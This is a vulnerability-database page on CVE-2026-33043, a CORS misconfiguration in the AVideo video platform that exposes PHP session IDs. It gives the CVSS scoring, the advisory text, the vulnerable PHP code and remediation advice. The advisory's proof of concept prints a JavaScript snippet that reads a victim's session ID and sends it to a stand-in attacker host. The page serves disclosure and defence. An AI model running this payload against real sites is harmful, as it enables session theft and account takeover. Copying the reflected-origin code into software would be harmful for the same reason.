What is the CVSS score of CVE-2026-33043?

CVE-2026-33043 has a CVSS 3.1 base score of 8.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N. EPSS exploitation probability: 0.0%.

Which versions of Cors Misconfiguration are affected by CVE-2026-33043?

AVideo installations are vulnerable to complete account takeover of any user, including administrators, if victims visit an attacker-controlled website while logged in.. A patch is available.

How to fix or mitigate CVE-2026-33043?

Within 24 hours: Identify all AVideo instances in your environment and assess active user bases; notify users of the risk and recommend logout. Within 7 days: Apply the available vendor patch to all AVideo installations and verify successful deployment. Within 30 days: Conduct post-incident review, audit session logs for suspicious activity during the vulnerability window, and implement security monitoring for CORS-related anomalies.

Cors Misconfiguration CVE-2026-33043

HIGH

Permissive Cross-domain Security Policy with Untrusted Domains (CWE-942)

2026-03-17 https://github.com/WWBN/AVideo

GHSA-qc3p-398r-p59j

Cors Misconfiguration PHP Information Disclosure

8.1

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.1 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

Lifecycle Timeline

Analysis Generated

Mar 17, 2026 - 20:30 vuln.today

Patch released

Mar 17, 2026 - 20:30 nvd

Patch available

CVE Published

Mar 17, 2026 - 19:52 nvd

HIGH 8.1

DescriptionGitHub Advisory

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php

php

allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);

No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:

php

$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");

This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:

html

<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover - Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.

AnalysisAI

AVideo (WWBN_AVideo) contains a critical CORS misconfiguration vulnerability that exposes PHP session IDs to any unauthenticated external website, enabling complete account takeover of any logged-in user including administrators. The vulnerability has a working proof-of-concept exploit and requires only that a victim visit an attacker-controlled webpage while logged into AVideo, making it highly exploitable with an 8.1 CVSS score.

Technical ContextAI

The vulnerability exists in AVideo (CPE: pkg:composer/wwbn_avideo), an open-source video platform built in PHP. The root cause is a CWE-942 (Permissive Cross-domain Policy with Credentials) flaw where the /objects/phpsessionid.json.php endpoint explicitly returns the current PHP session ID without authentication, while the allowOrigin() function reflects any Origin header in the Access-Control-Allow-Origin response header with credentials enabled. This violates same-origin policy protections and allows cross-origin requests to read sensitive session data that should be isolated to the application's domain.

RemediationAI

Apply the vendor-provided patch available at https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930 which addresses the CORS misconfiguration. Until patching is possible, implement a web application firewall rule to block external access to /objects/phpsessionid.json.php or configure the web server to deny requests to this endpoint from non-local origins. Additionally, implement SameSite cookie attributes on session cookies as a defense-in-depth measure. Full remediation details are available in the GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j.